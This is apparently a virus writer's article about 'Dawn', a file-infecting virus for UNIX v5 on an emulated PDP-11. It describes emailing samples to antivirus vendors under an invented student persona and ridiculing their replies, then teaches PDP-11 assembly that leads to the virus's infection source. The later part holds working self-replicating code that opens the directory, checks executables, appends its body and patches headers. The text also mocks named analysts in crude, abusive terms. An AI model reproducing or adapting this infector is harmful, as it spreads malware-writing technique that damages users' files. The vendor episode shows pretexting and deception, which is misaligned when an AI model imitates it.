... and how I contacted the AV-vendors and what I learnt
sim> e 0-10
sim> d 10 014747
sim> run 10
Trap stack push abort, PC: 177776 (MOV -(PC),-(PC))
sim> e 0-10
-- The worldly wisdom
...there self-confident author was going to recollect sob-stuff on his own experience with prehistoric computers, bitch about virus and antivirus scenes, draw analogies, make a dark prospects and so on and so forth (because there is nobody to shut him up), but finally decided to cross that crap out...
It was all began in the late eighties when I first came to the console of the computer. It was a russian clone of PDP-11 machine. That's how I fell in love for the first time. Many time has passed since that moment, but I still think that those machines were great, so I decided to contribute something to it
in my own particular idiom.
Rocking the boat
Dear First Name Last Name, ...
-- Symantec Security Response Automation
I was curious on the reaction to this virus from the AV side, so, herm1t magically turned into the indian student whose name is Digamber Mayur (this means "a nacked peacock", if I can rely on the names dictionary where I picked up these names). Digamber was working hard at his WTF university as an assistant preparing the UNIX disk images for the course on computer architectures and accidentially noticed that the image was infected. Surprised, he wrote the following mail to all AV companies he knew:
From: Digamber Mayur <[email protected]>
To: Ahnlab <[email protected]>,
ArcaBit <[email protected]>,
Avast <[email protected]>,
AVG <[email protected]>,
AVIRA <[email protected]>,
BitDefender <[email protected]>,
Command Software <[email protected]>,
Computer Associates <[email protected]>,
Computer Associates <[email protected]>,
DialogueScience <[email protected]>,
"Dr. Web" <[email protected]>,
EmsiSoft <[email protected]>,
eSafe <[email protected]>,
ESET <[email protected]>,
Ewido <[email protected]>,
Fortinet <[email protected]>,
F-Prot <[email protected]>,
F-Secure <[email protected]>,
Hauri <[email protected]>,
H+BEDV <[email protected]>,
Ikarus <[email protected]>,
Kaspersky <[email protected]>,
McAfee <[email protected]>,
Microsoft <[email protected]>,
Network Associates <[email protected]>,
Norman <[email protected]>,
Panda <[email protected]>,
QuickHeal <[email protected]>,
Sophos <[email protected]>,
Symantec <[email protected]>,
Tauscan <[email protected]>,
TrendMicro <[email protected]>,
UNA <[email protected]>,
VBA32 <[email protected]>,
VirusBuster <[email protected]>
Date: Oct 6, 2006 5:06 PM
Subject: Need help on virus
Dear kind sirs,
I very need information from professionals on computer viruses.
My name is Digamber Mayur, I am graduate student and also working as
an assistant in my spare time. Not so long ago I received an
assignment to prepare the disk images with the programming environment
for the UNIX v5 operating system for the practical work within the
course on computer architectures. It was intended to run in the SIMH
simulator of the DEC PDP-11 computer.
I successfully downloaded and installed the simulator (from
http://simh. trailing-edge.com/), the image of the root filesystem
(from the PUPS archive ftp://sunsite.icm.edu.pl/
pub/unix/UnixArchive/PDP-11/ Distributions/research/Dennis_v5/) and a
number of tools both in binary and source form from the various
sources. After some time I noticed the significant perfomance degrade
of the simulated system and also some unexpected crashes.
I spent a lot of time investigating the reasons of such anomalities in
the behaviour of the system and it seems that by pure luck I found it.
I compiled a trivial program (its only goal is to to output the
message on the terminal) and by accident noticed that the size of the
program was increased after I stripped the symbol information. That's
how I first discovered that the image prepared by me is infected with
When, I compared a number of files in the "/bin" directory with the
same files in the original archive "v5root.gz" and saw the difference
in size, to be precise the difference is 192 bytes. It seems that a
lot of executable files with the magic 0407 being infected. For
unknown reasons the virus won't infect the 0410 files.
I was really sadden and surprised by all that. I don't know what type
of virus it is, and where it came from (may be it already was there on
those restored DEC tapes, covertly placed in the software), but it
seems that I have to start my work from scratch, now.
It is extremely annoying that as a user I should protect myself not
only from the modern threats, but also from the things that to the
moment are nearly forgotten. To my regret I have no enough experience
to analyze this virus, and may be it is already kmown? The UNIX system
I work with was one of the first and is dated in the archive by
1974-1975. So, may be the virus that hit me also the one of the first
of its kind? May you tell me something about it? Is it a Brain or
Jerusalem virus or something like that?
There are transcripts of the terminal sessions, dumps of the infected
programs (made with od tool), infected and original programs in the
binary, source and disassembly form (prepared with pdp11dasm) in the
Thank you very much for your time. I am looking forward for your
Literally, within several seconds he got auto-replies from Symantec (saying that since archive has more than ten files it will not be analized due to high pressure on support), McAfee (they checked the archive and since they didn't found any virus, they suggested to resend the files in the password protected archive. What a bright idea to deal with unknown viruses in such a way!), Authentium, Inc. (yes, finally, short and clean receipt stating that the message was accepted and will be analyzied), VirusBuster (receipt with ticket id and a link to the page saying "HIBA: nnek nincs megfelel jogosltsga az oldalhoz." it's a pity, but nor Digamber, neither his fellow herm1t doesn't understand the hungarian) and at last the receipt from Dr. Web with ticket id, explanation how to use it and, for some purpose, the quoted message. The rest thirty companies didn't even bothered to notify the sender that his message was received.
Forty Little Avers
Michael Kharlamov from Dr.Web gave up first. After two hours I received the reply: "We does not support DEC PDP-11 systems." Forty little avers view the code of mine. One saw
a new an old platform then there were thirty nine.
L. Clark from AVERT replied with "I am forwarding your samples to a Senior Virus Research Engineer for further review." Wow! "Senior Virus Research Engineer" all capitals. Who ever would have thought it! No reply yet. Thirty nine dumb asses ask to call them later. One forwarded the mail forth and then there were thirty eight.
The reply from Symantec mottoed this chapter. Thirty eight of virus labs are mostly robot driven. One missed all including names and then there were thirty seven.
Three of mighty avers already rest in piece. Avira asked for some more time then there were thirty six.
CA eTrust Antivirus Research and Response Group after seven days of hard work came to the conclusion that: "All files you sent are clean." While you are protected by CA - ALL YOUR BASE ARE BELONG TO US! Thirty six "researches" dug a virus hive. One thought that the file was clean then there were thirty five.
David Rohlik from AVG Technical Support decided that "The files you have sent us are not virus. They are source codes and comments for some kind of program." Bravo, David! Thirty five crystal-gazers had never failed before. One guessed: "It's the source!" then there were thirty four.
Thirty lazy avers treat all mail as SPAM. Since last of them was Kaspersky then there were less than none.
AVers from 34 to 31 falls to the special case.
The last hope: ArcaBit, VirusBuster, FortiNet and ALWIL
In the beginning I was thinking that I provided too much information, I thought that even blind and mentally challenged person will see that the samples are infected. I was naive. After I received the disasterous replies, I was agreeably disappointed by answers from Kamil Konieczny (ArcaBit), Ferenc László (VirusBuster), Pavel Cimbal (ALWIL Software) and some person at FortiNet who at last provided descriptions and even tried to add the detection routines to their products.
But even them did a mistakes. Ferenc wrote:
[...] Original entry 4 bytes are preserved at the very end of the infected file. When the virus finished, it restores the original code in memory, and starts it.
Wrong. The virus restores the victim even before it opens the current directory. Kamil supposed the same:
[...] and at end of execution restore original instruction at offset 0020 and jump to 0020 (this is how old COM viruses works, of course there are some variations with that) Jump can be made by 'ret' instruction or in some other machine dependent way, or original program can be ignored and never executed.
Ah, those old good days of DOS, how deep they formatted the brains of both avers and vxers! Who tell them that it is neccessary for the virus to restore the victim at the end of execution? "ret" command. hemmer.
Pavel wrote that "it seems to be a kind of a link-virus". Hm, to me it seems that the ALWIL is a kinda of anti-virus program which might catch some virus. With a bit of luck.
By the way, there are nobody at FortiNet who can convert octal to binary:
May we request that the original infected binary files be sent instead of the octal dumps.
They also missed everything that could be missed (just look at their mails), but after all they added the detection of the virus. Sorry, the detection for the two infected files which were sent. By checksum, I guess. But even this excuses them a llitle in comparison with the rest.
Postflight analysis is over. Make your choice. Personally, I wish to thank Kamil and Ferenc. They even tried.
Others behave like a monkey crowd typing, and typing, and typing yet another definition for the next in series of Trojan.Huy.zzzz with groundless hope that some day all this garbage will become an anti-virus silver bullet. It's clearly shows their inability to face something new and unexpected. Poor monkeys...
It seems that on the long way from "amateurs" to "professionals" the AV-people (excluding some very few exceptions) have lost the very important ability. It is an ability to learn something new, to wonder at unexpected things, the interest to the work they are doing. They call themselves researches, but now their research field is the diagrams presented by sales dep.
How many virus analysts does it take to
catch a virus screw in a light bulb?
Especially if all of them are working for Kaspersky Lab,
a leading developer of secure content management solutions? You probably won't believe me, but three, not including a monkeys from reception, cock-eyed mail "robot" that "auto-responded" on a next day and stoned tracking system which assign new tasks to each mail in the thread. Their names are: Alexander Markov, Leonid Khovansky and Pavel Zelensky.
Ah, it slipped from my mind, that after three weeks, when those gentlemen were actually made an attempt to "change the light bulb" (probably, one was going to screw the fucking thing in and the others hold the ladder), they missed it. When they insisted that there is enough light, say, I failed to convince them that there is a virus in the archive. Something got screwed there. (clearly, it has nothing in common with a light bulbs).
Let me cite the whole thread:
Ten days ago (to be precise at October 6th and 13th) I sent a (possibly) new virus (from this e-mail address, with subject lines "Need help on virus" and "UNIX virus") to "[email protected]". I did not received any replies. Is the address I had used for virus submission correct or support just not responding?
address is correct.
Your letter is probably lost.
Please send it one more time.
Virus Analyst, Kaspersky Lab.
Here is the mail and the files.
It seems that the only way to contact with "newvirus@" is to send the mail to this address. May you forward it to the people responsible for the new viruses?
If you are looking for technical support, please fulfill the submission form at this URL: http://www.kaspersky.com/helpdesk.html
Your request will be processed via HelpDesk system and immediately delivered to our support team.
For more information about Technical Support please click on the URL below: http://www.kaspersky.com/support
Visit our online Knowledge Base (FAQ) to find a solution to your question: http://www.kaspersky.com/faq/
Kaspersky Lab Team.
Virus Analyst, Kaspersky Lab.
That's all you have to say after three weeks? No comments...
I'm sorry, but what kind of your question?
Archive, what you sent was clear.
Do you want any additional comments?
No, if you think that there is no virus in the archive I have sent, I have no more questions and need no more comments. I already received descriptions of this _virus_ from Arcabit,Alwil and VirusBuster. It is already detected by VirusBuster and Fortinet. So, thank you for your time, I gain the invaluable experience while talking with your support team. The answers came really fast (what is three weeks, between you and me and the lamppost) and were comprehensive and helpful (brevity is the soul of wit and from the two words I received as a reply I made far-reaching conclusions).
This archive cantain a legal source codes.
No viruses within it.
Oh, really? I downloaded the file that I sent to you (from Sent Mail) here is its contents:
a.out - Infected "hello" program
a.out.das - Disassembly of the above
a.out.od - Octal dump
du - Infected du program
du.das - Disassembly of the above
du.od - Octal dump
du.orig - Original not infected du program
du.orig.das - Disassembly of the above
du.s - Source of the du
hello.s - Source of the hello
session1.txt - Session that shows
how the program becomes infected
session2.txt - Session that shows
how I imported the octal dump into
SIMH to prepare the files for submission.
You might thought that I cannot distinguish between source and executable? Let's see what the file command will say:
[[email protected] tmp]$ file a.out du
a.out: PDP-11 executable
du: PDP-11 executable
and, at last, check it on virustotal.com:
Complete scanning result of "du",
received in VirusTotal at 10.29.2006, 10:57:34 (CET).
Fortinet 184.108.40.206 10.29.2006 Unix/Malicious
VirusBuster 4.3.15:9 10.28.2006 Unix.Small.A
File size: 846 bytes
No reply yet.
There exist the unrenderable russian word to describe the situation, its meaning is similar to "fucking fiasco", but is more expressive. Pizdets!
Tricks of Dawn
Quick notes on PDP-11
But the Red Queen looked sulky, and growled 'Pudding -- Alice; Alice -- Pudding. Remove the pudding!' and the waiters took it away so quickly that Alice couldn't return its bow.
The PDP-11 was a series of 16-bit minicomputers sold by Digital Equipment Corp. in the 1970s and 1980s. The PDP-11 was a successor to DEC's PDP-8 computer in the PDP series of computers. It had several uniquely innovative features, and was easier to program than its predecessors. While well-liked by programmers, it was replaced in the mid-range minicomputer niche by the VAX-11 32-bit extension of the PDP-11. Much of the market for both machines would be taken by personal computers, including the IBM PC and Apple II, and workstations, such as those from Sun Microsystems.
There are five general registers (from R0 to R5), stack pointer (R6 or SP) and program counter (R7 or PC)
|Basic addressing modes|
|Register ||Rn ||op = Rn|
|Register Deferred ||(Rn) ||op = mem[Rn]|
|Autoincrement ||(Rn)+ ||op = mem[Rn] / inc Rn|
|Autoincrement Deferred ||@(Rn)+ ||addr = mem[Rn] / inc Rn / op = mem[addr]|
|Autodecrement ||-(Rn) ||dec Rn / op = mem[Rn]|
|Autodecrement Deferred ||@-(Rn) ||dec Rn / addr = mem[Rn] / op = mem[addr]|
|Index ||x(Rn) ||x = mem[PC] / inc PC / op = mem[x + Rn]|
|Index Deferred ||@x(Rn) ||x = mem[PC] / inc PC / addr = mem[x + Rn] / op = mem[addr]|
|PC Addressing modes|
|Immediate ||#n ||op = mem[PC] / inc PC|
|Absolute ||@#n ||addr = mem[PC] / inc PC / op = mem[addr]|
|Relative ||n ||x = mem[PC] / inc PC / op = mem[x + PC]|
|Relative Deferred ||@n ||x = mem[PC] / inc PC / addr = mem[x + PC] / op = mem[addr]|
Autoincrement and autodecrement modes change the register contents by one for byte instructions and two for word instructions with the following exceptions:
- R6 and R7 are always changed by 2.
- In deferred modes, a register is always incremented by 2.
The following is a brief instruction summary extracted from . Refer to  for explanations of operation of these instructions or to [3,4] for opcodes.
CLR(B) clear destination BHI branch if higher (unsigned)
COM(B) complement destination BLOS branch if lower or same
INC(B) increment destination BHIS branch if higher or same
DEC(B) decrement destination BLO branch if lower
NEG(B) negate destination JMP jump
TST(B) test destination JSR jump to subroutine
ASR(B) arithmetic shift right RTS return from subroutine
ASL(B) arithmetic shift left MARK mark
ROR(B) rotate right SPL set priority level
ROL(B) rotate left EMT emulator trap
SWAB swap bytes TRAP trap
ADC(B) add carry BPT breakpoint trap
SBC(B) subtract carry IOT input/output trap
SXT sign extend RTI return from interrupt
MFPS move byte from PS RTT return from interrupt
MTPS move byte to PS HALT halt
MOV(B) move source to destination WAIT wait for interrupt
CMP(B) compare src to dst RESET reset external bus
ADD add src to dst CLC clear C
SUB subtract src from dst CLV clear V
BIT(B) bit test CLZ clear Z
BIC(B) bit clear CLN clear N
BIS(B) bit set CCC clear all CC bits
BR branch (unconditional) SEC set C
BNE branch if not equal (to zero) SEV set V
BEQ branch if equal (to zero) SEZ set Z
BPL branch if plus SEN set N
BMI branch if minus SCC set all CC bits
BVC branch if overflow is clear NOP no operation
BVS branch if overflow is set MUL multiply
BCC branch if carry is clear DIV divide
BCS branch if carry is set ASH shift arithmetically
SOB subtract one and branch (if !=0) ASHC arithmetic shift combined
(signed branches) XOR exclusive or
BGE branch is greater than or equal (to zero)FADD floating add
BLT branch if less than (zero) FSUB floating subtract
BGT branch if greater than (zero) FMUL floating multiply
BLE branch if less than or equal (to zero) FDIV floating divide
Calling the system
Let's start from some trivial example like "Hello, world!":
/ write(1, "Hello, world!\n", 14);
sys write; 1f; 2f-1f
1: <Hello, world!\n>
# cat ->1.s
/ write(1, "Hello, world!\n", 14);
...and so on...
# as 1.s
As you can see there is a mixed calling convention used, one argument (a file handle) is passed via R0 register and the rest arguments stored right after the "sys write" pseudo-instruction. You can find all neccessary information in the section 2 of man, but you have to use the manual from 4th or 6th version, since the 5th edition of the manual was lost.
Position independent code
The previous example showed that many system calls requires absolute addresses as arguments and this is absolutely inappropriate for the virus. To use the arguments of the syscalls calculated at runtime we need self-modifying code. But this will cause problems with memory protection of the text segment. To solve this problem the regular programms use indir(2) syscall. Suppose that we are going to write the contents of the buffer pointer to which stored in the R4 register and the size of buffer in R5:
sys indir; 0f
0: sys write; 1:0; 0
What good for the regular application will not satisfy us. The above tricky syscall was used to keep the .text clean and this is the last thing we should bother, so we will determine our own address and will modify the syscalls directly:
/ we live in the .data segment
/ r3 contains the address of the start
sys read; 1:0; 20.
sys write;2:0; 20.
/ bss immediately follows the .data
/ we will keep our temporaries here
Note the decimal point after "20.". By default all numbers are octal.
Here is the program that:
/ dumps its own code to the file
mov pc, r4 / addr of the next instr into R4
tst -(r4) / R4 -= 2 (our start in memory)
mov r0,1f / store addr of name at label 1
mov r0,3f / store addr of mesg at label 3
mov r4,2f / set buffer address for write
sys creat; 1:0; 444 / r0 = creat(name, 0444);
bes error / if (r0 < 0) goto error;
mov r0,r1 / save handle
sys write; 2:0; 9f / write(r0, start, size_of_dcf)
mov r1,r0 / restore handle
sys close / close(r0);
br _exit / goto exit;
error: mov $1,r0
sys write; 3:0; 9f-mesg / write(1, mesg, sz_mesg);
_exit: clr r0
sys exit / exit(0);
mesg: <Unable to create the file!\n>
# as dcf.s
# od dcf2
0000000 010704 005744 010400 062700 000100 010067 000016 062700
0000020 000005 010067 000042 010467 000014 104410 000100 000444
0000040 103410 010001 104404 000000 000140 103403 010100 104406
0000060 000405 012700 000001 104404 000105 000033 005000 104401
0000100 061544 031146 052400 060556 066142 020145 067564 061440
0000120 062562 072141 020145 064164 020145 064546 062554 005041
We will read directory in the same way as in the contemporary UNIX systems. Since "all is file" we will open the current directory "." with open and read it:
# od -c .
0000000 \? \0 . . \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000020 \? \0 . \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000040 \? \0 b i n \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000060 < \0 d e v \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000100 @ \0 e t c \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000120 M \0 l i b \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000140 Z \0 m n t \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000160 [ \0 t m p \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000200 \\ \0 u s r \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000220 q \? u n i x \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
Directory entry consist of inode at offset 0 and filename located at offset 2.
/ ls -1
sys open; dot; 0
0: mov r1,r0
sys read; buf; 16.
3: movb (r2)+,r0
2: mov $10.,r0
1: mov $0, r0
putc: movb r0, dot
mov $1, r0
sys write; dot; 1
error: mov $1, r0
sys write; 1f; 7
It isn't neccessary to keep the "." string.
open(0,0) will open current directory for reading. So we can rewrite the above example as follows:
# ./apout ./a.out
The a.out format
Description of the a.out binaries located in the a.out(5), and after you had made a break for reading it and return to this paper, we will look now at the as(1) output from the previous chapter:
# strip a.out
# od a.out
0000000 000407 000034 000000 000000 000000 000000 000000 000001
0000020 012700 000001 104404 000016 000016 005000 104401 062510
0000040 066154 026157 073440 071157 062154 005041
Obviously, the a.out file is executable with R/W .text segment (magic 0407 at offset 0, btw, note that all magic numbers are indeed PDP-11 BRanch instructions), no .data and .bss segments present, no symbol table and rellocation information (words at offset 6 and 14 respectively). The entry point field will not be used until version 7 and in version 5 is always equal to zero:
u.u_ar0[R7] = 0; /* /usr/sys/ken/sys1.c:42 */
I think that the things presented above are relatively simple, so enough of details let's look into code.
The source code
mov pc,r3 / setup and restore victim
cmp -(r3),-(sp) / r3=start & word for MARK
sys open; 1:0; 0 / open cur dir
mov r0,-(sp) / push handle
mov (sp),r0 / read dir
sys read; 2:0; 16.
mov r4,r2 / open victim
sys open; 3:0; 2
sys read; 4:0; 20. / read header
cmp $407,(r4) / is R/W .text executable?
mov (r2)+,r0 / .text size
add (r2),r0 / .data size
add $8f,(r2)+ / adjust .data size
add $46.,(r2)+ / adjust .bss size
tst (r2)+ / size of symbol table==0?
add r1,r2 / skip two empty fields...
tst (r2)+ / relocation info stripped
cmp r5,(r2) / there is the jmp at start
mov (r2),(r4)+ / save first 2 words
mov (sp),r0 / write body
sys seek; 0; 2
// no bcs, C is set on EBADF/ESPIPE [fio.c:24, sys2.c:135]
sys write; 5:0; 9f-4
mov (sp),r0 / write header
sys seek; 0; 0
sys write; 6:0; 20.
mov (sp)+,r0 / close vic
mov (sp)+,r0 / close dir
mov $006400,-(sp) / mark 0
mov $077502,-(sp) / sob r5,0b
mov $005023,-(sp) /0: clr (r3)+
clr r0 / fake host
- Dennis M. Ritchie "Assembler Reference Manual", November 2, 1997
- Dennis M. Ritchie and Ken Thompson "The UNIX TimeSharing System", Communications of the ACM, July 1974 Volume 17 Number 7
- PDP-11 Processor Handbook, DEC
- PDP-11 Programming Card
- SIMH (http://simh.trailing-edge.com/)
- PDP Unix Preservation Society (http://minnie.tuhs.org/PUPS/)
- J. Lions "Lions' Commentary on UNIX 6th Edition, with Source Code", 1976
- All mail sent and received from AV-vendors (gzipped mbox, 184K)
- The Dawn source code (zip, 1.5K), binary (0.2K) and fs image (bzip, 716K)
- Files sent to AV companies (disasm, samples, dumps and "screenshots" - zip, 16K)
- The patch for APOUT (diff, 3K)
- od2bin.c - convert octal dump produced by od to binary (0.5K)
- Sample UNIX programs - dcf, ls, hello (assembly sources and binary - zip, 1.5K)